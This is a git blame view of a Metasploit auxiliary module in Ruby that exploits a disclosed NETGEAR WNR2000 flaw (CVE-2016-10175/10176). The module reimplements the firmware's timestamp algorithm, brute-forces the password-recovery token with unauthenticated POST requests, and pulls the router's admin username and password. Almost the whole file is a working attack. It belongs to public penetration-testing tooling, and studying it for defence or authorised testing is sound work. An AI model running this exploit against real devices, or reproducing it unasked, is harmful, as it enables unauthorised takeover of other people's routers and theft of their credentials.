metasploit-framework/modules/auxiliary/admin/http/netgear_wnr2000_pass_recove...

263 lines
8.4 KiB
Ruby
Raw Normal View History

2016-12-27 21:12:35 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2016-12-27 21:12:35 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-12-31 16:49:05 +00:00
require 'time'
2016-12-27 21:12:35 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
2016-12-31 16:49:05 +00:00
include Msf::Auxiliary::CRand
2016-12-27 21:12:35 +00:00
def initialize(info = {})
super(update_info(info,
2016-12-31 16:49:05 +00:00
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
2016-12-27 21:12:35 +00:00
'Description' => %q{
2016-12-31 16:49:05 +00:00
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
the value of a certain timestamp which is in the configuration of the router.
2017-07-19 09:39:58 +00:00
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
2017-01-02 17:32:38 +00:00
it is guaranteed that it can be bruteforced.
2016-12-31 16:49:05 +00:00
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
2017-01-02 17:32:38 +00:00
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
has not been tested.
2016-12-27 21:12:35 +00:00
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
2017-01-30 10:03:13 +00:00
['CVE', '2016-10175'],
2017-01-30 10:15:20 +00:00
['CVE', '2016-10176'],
2016-12-27 21:12:35 +00:00
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
2016-12-31 16:49:05 +00:00
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
2016-12-27 21:12:35 +00:00
],
2016-12-31 16:49:05 +00:00
'DisclosureDate' => 'Dec 20 2016'))
2016-12-27 21:12:35 +00:00
register_options(
[
Opt::RPORT(80)
])
2016-12-31 16:49:05 +00:00
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
])
2016-12-27 21:12:35 +00:00
end
2016-12-31 16:49:05 +00:00
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_creds
2016-12-27 21:12:35 +00:00
res = send_request_cgi({
'uri' => '/BRS_netgear_success.html',
'method' => 'GET'
})
if res && res.body =~ /var sn="([\w]*)";/
serial = $1
else
2016-12-31 16:49:05 +00:00
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
2016-12-27 21:12:35 +00:00
end
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
# 1: send serial number
2017-01-04 23:02:10 +00:00
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/unauth.cgi',
2017-01-04 23:02:10 +00:00
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'match_sn',
'serial_num' => serial,
'continue' => '+Continue+'
}
})
2016-12-27 21:12:35 +00:00
# 2: send answer to secret questions
2017-01-04 23:02:10 +00:00
send_request_cgi({
'uri' => '/apply_noauth.cgi',
'query' => '/securityquestions.cgi',
2017-01-04 23:02:10 +00:00
'method' => 'POST',
'Content-Type' => 'application/x-www-form-urlencoded',
'vars_post' =>
{
'submit_flag' => 'security_question',
'answer1' => @q1,
'answer2' => @q2,
'continue' => '+Continue+'
}
})
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
# 3: PROFIT!!!
res = send_request_cgi({
'uri' => '/passwordrecovered.cgi',
'method' => 'GET'
})
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
if res && res.body =~ /Admin Password: (.*)<\/TD>/
password = $1
2017-01-04 23:02:10 +00:00
if password.blank?
2017-01-02 17:32:38 +00:00
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
end
2016-12-27 21:12:35 +00:00
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
end
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
if res && res.body =~ /Admin Username: (.*)<\/TD>/
username = $1
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
end
2016-12-31 16:49:05 +00:00
2016-12-27 21:12:35 +00:00
return [username, password]
2016-12-31 16:49:05 +00:00
end
2017-01-05 01:58:16 +00:00
2017-01-04 23:02:10 +00:00
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'netgear',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
def send_req(timestamp)
begin
2017-05-11 21:22:21 +00:00
query_str = (timestamp == nil ? \
'/PWD_password.htm' : \
"/PWD_password.htm%20timestamp=#{timestamp.to_s}")
2016-12-31 16:49:05 +00:00
res = send_request_raw({
2017-05-11 21:22:21 +00:00
'uri' => '/apply_noauth.cgi',
'query' => query_str,
2016-12-31 16:49:05 +00:00
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
})
return res
2017-01-02 17:32:38 +00:00
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
2016-12-31 16:49:05 +00:00
return
end
end
2016-12-27 21:12:35 +00:00
def run
2016-12-31 16:49:05 +00:00
# generate the security questions
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
2016-12-27 21:12:35 +00:00
2016-12-31 16:49:05 +00:00
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
res = send_req(nil)
if res && res.code == 200
credentials = get_creds
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
return
2016-12-27 21:12:35 +00:00
end
2016-12-31 16:49:05 +00:00
# no result? let's just go on and bruteforce the timestamp
2017-07-19 11:48:52 +00:00
print_error("#{peer} - Well that didn't work... let's do it the hard way.")
2016-12-31 16:49:05 +00:00
# get the current date from the router and parse it
end_time = get_current_time
if end_time == nil
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
2016-12-27 21:12:35 +00:00
else
2016-12-31 16:49:05 +00:00
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
2016-12-31 17:02:34 +00:00
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
2016-12-31 16:49:05 +00:00
# work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
res = send_req(timestamp)
if res && res.code == 200
credentials = get_creds
2017-01-02 17:32:38 +00:00
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
2017-01-04 23:02:10 +00:00
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
2016-12-31 16:49:05 +00:00
return
end
end
2017-01-02 17:32:38 +00:00
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
2017-07-21 14:41:51 +00:00
fail_with(Failure::Unknown, "#{peer} - Exploit failed")
2017-01-02 17:32:38 +00:00
end
start_time = 0
2016-12-31 16:49:05 +00:00
end
2016-12-31 17:02:34 +00:00
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
2016-12-27 21:12:35 +00:00
end
end
end